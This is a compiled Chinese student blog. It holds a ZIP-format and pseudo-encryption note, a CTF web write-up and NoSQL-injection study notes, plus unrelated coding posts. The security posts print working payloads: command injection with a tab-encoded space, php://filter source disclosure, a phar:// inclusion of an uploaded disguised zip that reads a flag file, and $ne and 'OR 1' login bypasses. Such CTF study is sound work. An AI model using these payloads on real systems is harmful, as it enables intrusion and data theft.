压缩包文件损坏类型题

一般是缺少文件头,也有情况缺少头和尾…

zip的数据信息:

压缩源文件数据区 
50 4B 03 04:这是头文件标记(0x04034b50)
14 00:解压文件所需 pkware 版本 
00 00:全局方式位标记(有无加密) 
08 00:压缩方式 
5A 7E:最后修改文件时间 
F7 46:最后修改文件日期 
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度 
00 00:扩展记录长度 
6B65792E7478740BCECC750E71ABCE48CDC9C95728CECC2DC849AD284DAD0500 
压缩源文件目录区 
50 4B 01 02:目录中文件文件头标记(0x02014b50) 
3F 00:压缩使用的 pkware 版本 
14 00:解压文件所需 pkware 版本 
00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了) 
08 00:压缩方式 
5A 7E:最后修改文件时间 
F7 46:最后修改文件日期 
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度 
24 00:扩展字段长度 
00 00:文件注释长度 
00 00:磁盘开始号 
00 00:内部文件属性 
20 00 00 00:外部文件属性 
00 00 00 00:局部头部偏移量 
6B65792E7478740A00200000000000010018006558F04A1CC5D001BDEBDD3B1CC5D001BDEBDD3B1CC5D001 
压缩源文件目录结束标志 
50 4B 05 06:目录结束标记 
00 00:当前磁盘编号 
00 00:目录区开始磁盘编号 
01 00:本磁盘上纪录总数 
01 00:目录区中纪录总数 
59 00 00 00:目录区尺寸大小 
3E 00 00 00:目录区对第一张磁盘的偏移量 
00 00:ZIP 文件注释长度

 

tac…

水一贴

做了个题才知道linux下不光有cat 还有个tac…就是相当于cat内容反向输出(..怪自己没好好看命令…..) ..如果有web题可以命令执行的时候可以用来绕过

比如

http://abc.com/?xxx=system(%22cat%20aaa.php%22);

可以

http://abc.com/?xxx=system(%22tac%09aaa.php%22);

里面空格也可以用tab的url编码替换–>%09

因为linux下好几个空格和一个空格效果一样

 

(WEB)ping也能ping挂 writeup

最近又水了一个CTF,分享一道web题

打开界面可以看到需要输入一个ip地址 会返回ping结果 所以可以尝试 | 来执行下一个命令 但发现被过滤了

换一个方法

127.0.0.1&dir

找到上传入口

可以看到一个上传和查看源码

查看源码利用的

you_find_upload.php?p=php://filter/convert.base64-encode/resource=you_find_upload

base64解密

<?php
/**
 * Created by PhpStorm.
 * User: xnianq
 * Date: 2017/10/19
 * Time: 上午11:24
 */
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>this_is_upload_page</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="">

    <!-- Le styles -->
    <link href="../css/bootstrap.css" rel="stylesheet">
    <style>
        body {
            padding-top: 60px; /* 60px to make the container go all the way to the bottom of the topbar */
        }
    </style>
    <link href="../css/bootstrap-responsive.css" rel="stylesheet">
    <link rel="apple-touch-icon-precomposed" sizes="144x144" href="./ico/apple-touch-icon-144-precomposed.png">
    <link rel="apple-touch-icon-precomposed" sizes="114x114" href="./ico/apple-touch-icon-114-precomposed.png">
    <link rel="apple-touch-icon-precomposed" sizes="72x72" href="./ico/apple-touch-icon-72-precomposed.png">
    <link rel="apple-touch-icon-precomposed" href="./ico/apple-touch-icon-57-precomposed.png">
    <link rel="shortcut icon" href="./ico/favicon.png">
</head>

<body>

<div class="navbar navbar-inverse navbar-fixed-top">
    <div class="navbar-inner">
        <div class="container">
            <button type="button" class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
            </button>
            <a class="brand" href="#">C1sec工具体验</a>
            <div class="nav-collapse collapse">
                <ul class="nav">
                    <li ><a href="index.php">Home</a></li>
                    <li ><a href="ping.php">ping</a></li>
                    <li ><a href="you_find_upload.php?p=php://filter/convert.base64-encode/resource=you_find_upload">查看源码</a></li>
                </ul>
            </div><!--/.nav-collapse -->
        </div>
    </div>
</div>
<div class="container">
    <h1>少年你还是找到了这里,这才是本次攻击的重点 :)</h1>
    <form action="you_find_upload.php" method="POST" enctype="multipart/form-data">
        <label>Select image to upload:</label>
        <input type="file" name="file">
        <button type="submit" class="btn" name="submit">upload</button>
        <pre>
        <?php
        $type = array('gif','jpg','png');
        mt_srand((time() % rand(1,100000)%rand(1000,9000)));
        echo mt_rand();
        if (isset($_POST['submit'])) {
            $check = getimagesize($_FILES['file']['tmp_name']);
            @$extension = end(explode('.',$_FILES['file']['name']));//后缀
            if(in_array($extension,$type)){
                echo 'File is an image - ' . $check['mime'];//内容头
                $filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name']; 
                move_uploaded_file($_FILES['file']['tmp_name'], $filename);
                echo "<br>\n";
            } else {
                echo "File is not an image";
            }
        }
        if(isset($_GET['p'])){
            if(@preg_match("/\.\.\//",$_GET['p'])){
                echo "你这个孩子,too young too simple";
            }
            else{
               @include $_GET['p'].".php";
            }
        }
        ?>
    </pre>
    </form>
</div> <!-- /container -->

<!-- Le javascript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="../js/jquery-3.2.1.min.js"></script>

</body>
</html>

首先可以看到后端对文件后缀做了白名单验证 加上php版本都没有解析漏洞 最后试了好多方法 半夜想到可以试试伪协议,因为下面可以用文件包含来使用绕过,两种问题必须配合用才可以(感觉好多web题都涉及开伪协议了)

常见php伪协议:

* file:// — 访问本地文件系统

* http:// — 访问 HTTP(s) 网址

* ftp:// — 访问 FTP(s) URLs

* php:// — 访问各个输入/输出流(I/O streams)

* zlib:// — 压缩流

* data:// — 数据(RFC 2397)

* glob:// — 查找匹配的文件路径模式

* phar:// — PHP 归档

* ssh2:// — Secure Shell 2

* rar:// — RAR

* ogg:// — 音频流

* expect:// — 处理交互式的流

所以我们可以写一个读取flag的1.php

<?php 
 $file = fopen('../../../../../../../../etc/flag.txt','r');

    if($file){
        while(!feof($file)){
            $line = fgetc($file);
            echo $line;
        }
    }
    fclose($file);
?>

然后压缩为zip

上传时修改后缀为.png 但type的zip类型不要改

上传成功,继续往下看代码

mt_srand((time() % rand(1,100000)%rand(1000,9000)));

设置了一个文件名的随机数

学长帮写了一个爆破程序

爆破出来 文件名假设最后为305005900_1.png

然后..

继续看代码

else{
               @include $_GET['p'].".php";
            }

一个文件包含,最后会自动加上.php,这也是比较纠结的一个点,最后的解决办法就是上面说的可以配合伪协议使用

(题目的难点就是只能上传图片后缀的文件,但却只能读取.php的文件)

所以最后利用phar解里面的1.php

构造的payload为:

http://xxxx/web1/you_find_upload.php?p=phar://upload/305005900_1.png/1

NoSQL注入小笔记

最近参加了一次线下ctf比赛,水了一个二等奖,题目里面考了一个NoSQL的注入,这种数据库之前也没接触过,多亏了主办方给的提示。为了不辜负主办方的用心良苦,自己也下来专门研究了一下NoSQL,学过之后才发现题目考的内容真的很基础…十分羞愧…


NoSQL介绍:

NoSQL:是一项全新的数据库革命性运动,NoSQL的拥护者们提倡运用非关系型的数据存储。现今的计算机体系结构在数据存储方面要求具 备庞大的水平扩 展性,而NoSQL致力于改变这一现状。目前Google的 BigTable 和Amazon 的Dynamo使用的就是NoSQL型数据库。

随着web2.0的快速发展,非关系型、分布式数据存储得到了快速的发展,它们不保证关系数据的ACID特性。NoSQL概念在2009年被提了出来。NoSQL最常见的解释是“non-relational”,“Not Only SQL”也被很多人接受。(“NoSQL”一词最早于1998年被用于一个轻量级的关系数据库的名字。)

NoSQL被我们用得最多的当数key-value存储,当然还有其他的文档型的、列存储、图型数据库、xml数据库等。在NoSQL概念提出之前,这些数据库就被用于各种系统当中,但是却很少用于web互联网应用。比如cdb、qdbm、bdb数据库。

NOSQL的优势:

易扩展

NoSQL数据库种类繁多,但是一个共同的特点都是去掉关系数据库的关系型特性。数据之间无关系,这样就非常容易扩展。也无形之间,在架构的层面上带来了可扩展的能力。

大数据量,高性能

NoSQL数据库都具有非常高的读写性能,尤其在大数据量下,同样表现优秀。这得益于它的无关系性,数据库的结构简单。一般MySQL使用Query Cache,每次表的更新Cache就失效,是一种大粒度的Cache,在针对web2.0的交互频繁的应用,Cache性能不高。而NoSQL的Cache是记录级的,是一种细粒度的Cache,所以NoSQL在这个层面上来说就要性能高很多了。

灵活的数据模型

NoSQL无需事先为要存储的数据建立字段,随时可以存储自定义的数据格式。而在关系数据库里,增删字段是一件非常麻烦的事情。如果是非常大数据量的表,增加字段简直就是一个噩梦。这点在大数据量的web2.0时代尤其明显。

高可用

NoSQL在不太影响性能的情况,就可以方便的实现高可用的架构。比如Cassandra,HBase模型,通过复制模型也能实现高可用。

NoSQL相关的SQL攻击:

1.重言式。又称为永真式。此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。比如实际中用$ne操作(不相等)的语法让他们无需相应的凭证即可非法进入系统。

2.联合查询。联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。比如通过增加永真的表达式利用布尔OR运算符进行攻击,从而导致整个语句判定出错,进行非法的数据获取。

3.JavaScript注入。这是一种新的漏洞,由允许执行数据内容中JavaScript的NoSQL数据库引入的。JavaScript使在数据引擎进行复杂事务和查询成为可能。传递不干净的用户输入到这些查询中可以注入任意JavaScript代码,这会导致非法的数据获取或篡改。

4.背负式查询。在背负式查询中,攻击者通过利用转义特定字符(比如像回车和换行之类的结束符)插入由数据库额外执行的查询,这样就可以执行任意代码了。

5.跨域违规。HTTP REST APIs是NoSQL数据库中的一个流行模块,然而,它们引入了一类新的漏洞,它甚至能让攻击者从其他域攻击数据库。在跨域攻击中,攻击者利用合法用户和他们的网页浏览器执行有害的操作。在本文中,我们将展示此类跨站请求伪造(CSRF)攻击形式的违规行为,在此网站信任的用户浏览器将被利用在NoSQL数据库上执行非法操作。通过把HTML格式的代码注入到有漏洞的网站或者欺骗用户进入到攻击者自己的网站上,攻击者可以在目标数据库上执行post动作,从而破坏数据库。

NoSQL MYSQL区别:

nosql的定义是not only sql,包括键值数据库,列式数据库,文本数据库,图形数据库等

mysql是一种传统的关系型数据库。 关系型数据库一般都可以通过sql语句进行操作。sql的语法一般遵循SQL99标准,也就是说上层的应用可以通过同样的sql语句访问不同的数据库。 而nosql对sql的支持并不像关系型数据库一样。以hbase为例,它本身并不支持sql,我们可以通过hbase shell进行操作,上层应用可以通过hbase API读写数据库。但是我们也可以通过hive(hive sql,类sql语法)来访问hbase。还有一些hbase skin(可以理解成hbase客户端),支持了部分sql语法以方便用户使用,比如pheonix。

Nosql注入案例:

使用SQL数据库存储用户名密码的系统,我们检测用户名与密码的过程可能是这样的:

mysql_query(“SELECT * FROM user     WHERE username=” . $_GET[‘username’] . “,     AND passwd=” . $_GET[‘passwd’])

我们使用MongoDB进行最简单的用户名与密码检测可能是这样的:

$collection->find(array(   ”username” => $_GET[‘username’],   ”passwd” => $_GET[‘passwd’]   ));

在最普通的SQL注入中,我们可以构造下面这样的请求:

login.php?username=admin&passwd=abc OR 1 –

这个请求会形成这样的SQL语句:

SELECT * FROM user WHERE username=admin AND passwd=abc OR 1;

成功注入!

采用同理的方法,针对上面的MongoDB查询方式,你可以构造下面的请求:

login.php?username=admin&passwd[$ne]=1

这个请求会形成这样的MongoDB查询:

$collection->find(array(   ”username” => “admin”,   ”passwd” => array(“$ne” => 1)   ));

成功注入!

如上案例就是使用重言式,我们也主要介绍一下这种方法,因为这道ctf题就是考这个点

我们使用一个MongoDB示例去演示数组注入漏洞

MongoDB所要求的输入形式是json的格式,例如:

find({'key1';'value1'})

在实际的使用中(PHP环境下),一般是这样使用

$collection->find(array('key'=> 'value'));

对于习惯传统的SQL注入手段的我们来讲,这样的形式很难想到常规的方法去bypass也很难想到办法去构造payload,这种手段就像参数化的SQL语句一样很难注入。

想要找到真的漏洞成因和原理,了解最基础的MongoDB语法是必要的

条件操作符:

$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all 
$or:or
$not: 反匹配(1.3.3及以上版本)
模糊查询用正则式:db.customer.find({'name': {'$regex':'.*s.*'} })
/**
* : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/

比如:

//查询age = 22的记录
db.userInfo.find({"age": 22});
//相当于:select * from userInfo where age = 22;
//查询age > 22的记录
db.userInfo.find({age: {$gt: 22}});
//相当于:select * from userInfo where age > 22;

我们发现,在find的参数里,age对应的value设置为数组(这个数组包含特殊的mongoDB特别定义的变量名作为操作符,变量名对应的value作为操作对象)将会起到条件查询的作用。就PHP本身的性质而言,由于其松散的数组特性,导致如果我们输入value=A那么,也就是输入了一个value的值为1的数据。如果输入value[$ne]=2也就意味着value=array($ne=>2),在MongoDB的角度来,很有可能从原来的一个单个目标的查询变成了条件查询($ne表示不等于-not equel): 从

xxx.find({'key': 'A'})

变成了

xxx.find({'key':{$ne:'A'}})

防御:可以通过函数is_array()将输入参数转变为字符串类型来解决。如:

db->logins->find(  array("username"=>(string)$_    POST["username"],  "password"=>(string)$_    POST["password"]));

接下来看一下比赛的题,当时忘截图题目了..不过无所谓..目测各位大佬都是秒杀..

image

ko image


参考资料:

http://www.infoq.com/cn/news/2011/01/nosql-why

https://www.cnblogs.com/wangyayun/p/6598166.html

http://www.freebuf.com/articles/database/95314.html

Hduoj用户AC题数统计爬虫

趁着前几天出去比赛的空余时间瞎写完了

一向写python都是现写现查库怎么用

写这个主要是为了班里统计方便 ,但现在应该用不上了2333

写的挺垃圾,也是第一次搞这个,因为库太好用了感觉自己写的也没啥水平哈哈

其中主要点是判断指定日期的做题AC数

用了下用户实时的提交页面

http://acm.hdu.edu.cn/status.php?first=&pid=&user=aaa&lang=0&status=0

1.爬下直到指定日期最后所有做题情况

2.判断时间是否符合,顺便学习了下datetime

  •    因为日期是从前往后排所以 大于当前日期的跳过,直到遇见最后日期跳出循环
  •    需要注意的就是如果指定日期加之前这个用户没有答题过 会造成死循环 所以判断下当前是否为最后一页 因为get参数没有页数所以就判断first是否重复就ok

3.判断是否ac

4.丢到dict

 

分享一下渣渣代码

# encoding=utf-8
import requests
import re
import xlrd
import xlwt
from bs4 import BeautifulSoup
import datetime


def save_mysql():
    pass


def save_excel(users, Allsolved, pid, sum):
    book = xlwt.Workbook(encoding='utf-8')  # 表格初始化
    sheet1 = book.add_sheet('sheet1', cell_overwrite_ok=True)
    heads = ['ID', u'指定日期累计AC题数' + '(' + start + 'to' + end + ')', u'总共已AC题数', u'指定日期AC题号']
    print u'\n准备将数据存入表格...'
    ii = 0  # 表格初始化用
    for head in heads:
        sheet1.write(0, ii, head)
        ii += 1
    ID_col = 0
    weekid = 3
    week_solved_col = 1
    solved_col = 2
    row = 1
    sheet1.col(week_solved_col).width = 256 * 20
    for user in users:
        sheet1.write(row, ID_col, user)
        row += 1
    row = 1
    for solved in Allsolved:
        sheet1.write(row, solved_col, solved)
        row += 1
    row = 1
    for wid in pid:
        sheet1.write(row, weekid, wid)
        row += 1
    row = 1
    for wsum in sum:
        sheet1.write(row, week_solved_col, wsum)
        row += 1
    book.save('Acm' + start + 'to' + end + '.xls')
    print u'\n录入成功!'


def run(users):
    All_Solved = []
    ID = []
    SUM = []
    for user in users:
        ########目前已做总题数
        userpages = requests.get("http://acm.hdu.edu.cn/userstatus.php?user=" + user)
        n = re.compile(r'>(.*)</h1>')
        s = re.compile(r'Solved</td><td align=center>([0-9]+)<')
        name = n.search(userpages.text)
        solved = s.search(userpages.text)

        print name.group(1) + " " + solved.group(1)
        All_Solved.append(solved.group(1))
        ########每日统计
        sum = 0
        print user
        first = '99999999'
        run_forever = True
        repid = ['|']  # 防止重复+统计题号
        while run_forever:
            req = requests.get(
                "http://acm.hdu.edu.cn/status.php?first=" + first + "&pid=&user=" + user + "&lang=0&status=0")
            soup = BeautifulSoup(req.text, 'lxml')
            tables = soup.findAll('table')
            tab = tables[3]
            old = []
            new = []
            dict = {'Runid': '123', 'Subtime': '2017', 'Status': 'ac', 'Id': '123'}
            for tr in tab.findAll('tr')[1:]:
                i = 1
                for td in tr.findAll('td')[:4]:
                    if i == 1:
                        dict['Runid'] = td.getText()
                        Runid = td.getText()
                    elif i == 2:
                        dict['Subtime'] = td.getText()
                    elif i == 3:
                        dict['Status'] = td.getText()
                    else:
                        dict['Id'] = td.getText()
                    i += 1
                old.append(dict.copy())
            if first == str(int(Runid) - 1):  # 防止当这个用户这个时间段没做过题的情况(死循环)
                break
            for AoW in old:
                time = datetime.datetime.strptime(AoW['Subtime'][0:-9], '%Y-%m-%d')
                if time <= d2 and time >= d1:
                    ac = 'Accepted'
                    # print AoW
                    if AoW['Status'] == ac:
                        for cfid in repid:
                            if AoW['Id'] != cfid:
                                f = 1
                                # T.append(AoW['Id'])
                            else:  # 如果重复 退出循环
                                f = 0
                                break
                        if f == 1:
                            repid.append(AoW['Id'])  # 防止重复
                            repid.append(' ')
                            new.append(AoW)
                elif time < d1:
                    run_forever = False
                    # break
                else:
                    pass

            ####
            for tt in new:
                print tt
            sum += len(new)

            first = str(int(Runid) - 1)  # 最后一个

        print '------'
        print sum
        print '------'
        ID.append(repid)
        SUM.append(sum)
        # print ID
        # print SUM
        # print SUM
    save_excel(users, All_Solved, ID, SUM)


def main():
    # 读入userID
    book = xlrd.open_workbook('./acmid.xlsx')
    sheet = book.sheet_by_name('sheet1')
    users = sheet.col_values(0)
    print users
    run(users)


if __name__ == '__main__':
    print '日期输入格式:年-月-日'
    start = raw_input("起始日期:")
    end = raw_input("终止日期:")
    d1 = datetime.datetime.strptime(start, '%Y-%m-%d')
    d2 = datetime.datetime.strptime(end, '%Y-%m-%d')
    main()

 

 

纪念一下刷的第100道水题

纪念一下本辣鸡在hdu刷的第100道水题,
比较标准的dfs..

Red and Black

Problem Description

There is a rectangular room, covered with square tiles. Each tile is colored either red or black. A man is standing on a black tile. From a tile, he can move to one of four adjacent tiles. But he can’t move on red tiles, he can move only on black tiles.

Write a program to count the number of black tiles which he can reach by repeating the moves described above.

Input

The input consists of multiple data sets. A data set starts with a line containing two positive integers W and H; W and H are the numbers of tiles in the x- and y- directions, respectively. W and H are not more than 20.

There are H more lines in the data set, each of which includes W characters. Each character represents the color of a tile as follows.

‘.’ – a black tile
‘#’ – a red tile
‘@’ – a man on a black tile(appears exactly once in a data set)

Output

For each data set, your program should output a line which contains the number of tiles he can reach from the initial tile (including itself).

Sample Input

6 9
….#.
…..#
……
……
……
……
……
#@…#
.#..#.
11 9
.#………
.#.#######.
.#.#…..#.
.#.#.###.#.
.#.#..@#.#.
.#.#####.#.
.#…….#.
.#########.
………..
11 6
..#..#..#..
..#..#..#..
..#..#..###
..#..#..#@.
..#..#..#..
..#..#..#..
7 7
..#.#..
..#.#..
###.###
…@…
###.###
..#.#..
..#.#..
0 0

Sample Output

45
59
6
13

代码实现
import java.util.Scanner;

public class Dfs1312 {
	public static char a[][];
	public static int book[][];
	public static int l;
	public static int h;
	public static int sum;

	public static void main(String[] args) {
		// TODO Auto-generated method stub
		Scanner in = new Scanner(System.in);
		while (in.hasNext()) {
			l = in.nextInt();
			h = in.nextInt();
			if (h == 0 && l == 0) {
				break;
			}
			a = new char[h][l];
			int startx = 0;
			int starty = 0;
			book = new int[h][l];// 没走的记录为0
			for (int i = 0; i < h; i++) {
				String str = in.next();
				in.nextLine();
				a[i] = str.toCharArray();
				for (int j = 0; j < l; j++) {
					if (a[i][j] == '@') {// 记录出发点
						startx = i;
						starty = j;
					}
				}
			}
			book[startx][starty] = 1;// 标记出发点已走
			sum = 1;
			dfs(startx, starty);
			System.out.println(sum);
		}
	}

	static void dfs(int x, int y) {
		int[][] next = { { 0, 1 }, { 1, 0 }, { 0, -1 }, { -1, 0 } };
		int tx, ty;
		for (int i = 0; i < 4; i++) {// 计算下一点坐标
			tx = x + next[i][0];
			ty = y + next[i][1];
			// 判断是否越界
			if (tx < 0 || tx >= h || ty < 0 || ty >= l) {
				continue;
			}
			if ((a[tx][ty] == '.' || a[tx][ty] == '@') && book[tx][ty] == 0) {// 可以往下走
				book[tx][ty] = 1;// 标记已走
				sum++;
//				 System.out.println(tx+" "+ty);
//				 for(int k=0;k<h;k++){
//					 for(int j=0;j<l;j++){
//						 System.out.print(book[k][j]);
//					 }
//					 System.out.println();
//				 }
				dfs(tx, ty);
			}
		}

	}

}

 


Mac下mysql忘记密码后如何重置

今天上课装mysql遇到点坑,老师是用win告的,所以还得自己解决。
坑就是mac上装mysql会自动给个密码,但我一激动没记下来..wtf
然后就是百度了
第一步:
停止mysql服务
然后
第二步:
终端输入cd /usr/local/mysql/bin/
管理权限 sudo su
禁止mysql验证功能 ./mysqld_safe --skip-grant-tables &
第三步:
./mysql
然后
FLUSH PRIVILEGES;
SET PASSWORD FOR 'root'@'localhost' = PASSWORD('你的新密码');
ok

Java中如何控制保留小数位数

import java.text.DecimalFormat;

public class Baoliuxiaoshu {

    public static void main(String[] args) {
        // TODO Auto-generated method stub
        double i=21.23456;
        DecimalFormat test=new DecimalFormat(".000");
        String tt=test.format(i);
        System.out.println(i);
        System.out.println(tt);
        System.out.println(String.format("%.2f", i));

    }

}

21.23456
21.235
21.23